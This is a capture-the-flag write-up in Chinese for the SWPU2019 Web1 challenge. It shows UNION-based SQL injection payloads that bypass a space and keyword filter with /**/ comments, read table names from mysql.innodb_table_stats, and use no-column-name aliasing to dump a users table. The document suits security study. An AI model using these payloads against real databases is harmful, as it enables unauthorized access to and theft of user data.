[SWPU2019]Web1
继续刷题,这道题有难度,(应该是我菜)
发现是注册登录界面当时就想admin登录,爆破密码什么的,没有用,老老实实注册登陆进去
发现只有这些信息,申请发布广告里面
这个地方应该有问题,sql注入一下1’
回显这个,看一下详情
欸嘿,sql报错,看来有注入了,尝试注入一下,发现or,空格,报错注入的函数等都被过滤了,这咋搞?看看大佬的wp吧,嗯。。。。无列名注入?这是个啥?这篇文章讲得很清楚
嗯,知识点搞清楚了,方法也知道了,开整!
先来常规的爆字符列数,手动探测列数,这里探测到有22列,回显位为2和3,payload:-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
查个表-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

表名知道了,开始设第二列别名为b:-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22这里不用数字是因为`被过滤了。
成功看到第二列的内容

设第三列别名为b
构造-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
完成。

本文讲述了作者在Web1挑战中遇到的SQL注入难题,通过爆破、探测列数、构造payload,逐步揭示了无列名注入的概念,并分享了如何利用技巧绕过过滤,最终获取表名和数据的过程。
899

被折叠的 条评论
为什么被折叠?



